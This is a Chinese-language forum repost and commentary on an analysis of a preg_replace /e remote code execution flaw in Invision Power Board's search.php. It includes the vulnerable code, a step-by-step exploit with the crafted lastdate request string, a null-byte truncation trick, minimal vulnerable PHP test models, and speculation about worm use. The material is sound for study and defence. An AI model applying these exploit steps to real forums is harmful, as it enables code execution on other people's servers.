前天看剑心的一篇文章,也是preg_replace+/e漏洞,发现PHP的漏洞和ASP的简直大不一样鸟,最近虽
然自己才开始学习PHP,但是由于强烈兴趣还是大胆的看了许多PHP的漏洞分析文档,当然,很多地
方不理解。大虾教我 ^ ^
来源:[url]http://www.xfocus.net/articles/200605/866.html[/url]
创建时间:2006-05-03
文章属性:原创
文章提交:HeiGe (hack-520_at_163.com)
ipb search.php 漏洞分析及思考
Author:SuperHei_[At]_ph4nt0m.org
Blog:[url]http://superhei.blogbus.com/[/url]
Team:[url]http://www.ph4nt0m.org[/url]
Data: 2006-04-27
#############
##简单分析###
#############
该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php  行1258-1262:
    if ( $this->ipsclass->input['lastdate'] )
        {
            $this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1
selected='selected'", $this->output );
           
        }
    }
通过变量input['lastdate']注入/e, $this->output注入shellcode。
#############
##利用方法###
#############
注册一个用户,发个贴 内容[shellcode]如下:[
superheixxxxxxxeval(phpinf0()); //
注意最后的;和//之间有一空格
然后点“Search”--->Search by Keywords:superheixxxxxxxeval [记得选择Show results as posts ]
t_type=posts&highlite=superheixxxxxxxeval
然后在后面加一个&lastdate=z|eval.*?%20//)%23e%00 也就是[/e]提交就ok了:
t_type=posts&highlite=superheixxxxxxxeval&lastdate=z|eval.*?%20//)%23e%00
#############
##分析讨论###
#############
1.

简单分析:
该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php  行1258-1262:
 
    if ( $this->ipsclass->input['lastdate'] )
        {
            $this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1
 
selected='selected'", $this->output );
           
        }
    }
 
通过变量input['lastdate']注入/e, $this->output注入shellcode。
 
 

这个分析,掉了一个重要的细节:preg_replace+/e 里有3个参数,只有第2个参数里的代码才可以执行,但是上面的语句貌似是第3个参数提交
 
的,其实不然,注意上面preg_replace里的第2个参数:\\1 selected='selected' 里面的\\1 为第一参数里正则表达试匹配后的值。归根结底
 
我们提交的shellcode还是在第2个参数执行了。
 
2.
注意最后的;和//之间有一空格

这个又是为什么呢?因为我们提交的lastdate=z|eval.*?%20//)%23e%00里是已空格+//为标志的,所以我们提交的shellcode也要有空格+//

3.preg_replace存在null截断漏洞????
我想这个应该算是php本身一个的漏洞[同以前include的null截断漏洞],我们测试下,把上面的漏洞写个简单的模型:
<?
$a=$_GET[a];
echo preg_replace("#(value=[\"']z|eval.*?//)#e{$a}[\"'])#i ","\\1 ","heigegegxxxxxxxeval(phpinfo());//");
?>
我们直接提交[url]http://127.0.0.1/test2.php?a=2[/url]出现错误:
Warning: Unknown modifier '2' in d:\easyphp\www\test2.php on line 3
提交[url]http://127.0.0.1/test2.php?a=%002[/url] 则执行phpinfo(). 我们成功截断了。模型代码执行环境要求gpc=off ,但是在很多的web程序里是
经过变量编码和解码在执行的,所以不受gpc的影响,上面的ipb的就可以在gpc=on的情况下截断。
4."lastdate=z|eval.*?%20//)%23e%00"的构造
主要是在this->output里以eval和%20//为标志取\\1 为执行的php代码。
5.worm的利用?
还记得Santy吗?就是利用的phpbb里的一个preg_replace,这里会会被利用呢?ipb这个漏洞的利用必须要登陆,但是在ipb注册时候有“图片
认证”,不过据说这个可以编写程序读出来?? 只要突破这个worm是有可能的,毕竟ipb的用户有那么多......
#############
##总结模型###
#############
1.直接在preg_replace第2个变量执行的模式:
<?
echo preg_replace("/test/e",$h,"jutst test");
?>
提交[url]http://127.0.0.1/test/11/preg.php?h=phpinfo[/url]()
实例如:phpbb的viewtopic.php变量$highliht_match提交php代码执行漏洞
2.通过\\1[或者\\n]提取第3个变量里的php代码并执行的模式:
<?
echo preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $h);
?>
提交:[url]http://127.0.0.1/test/11/preg.php?h=[/url][php]phpinfo()[/php]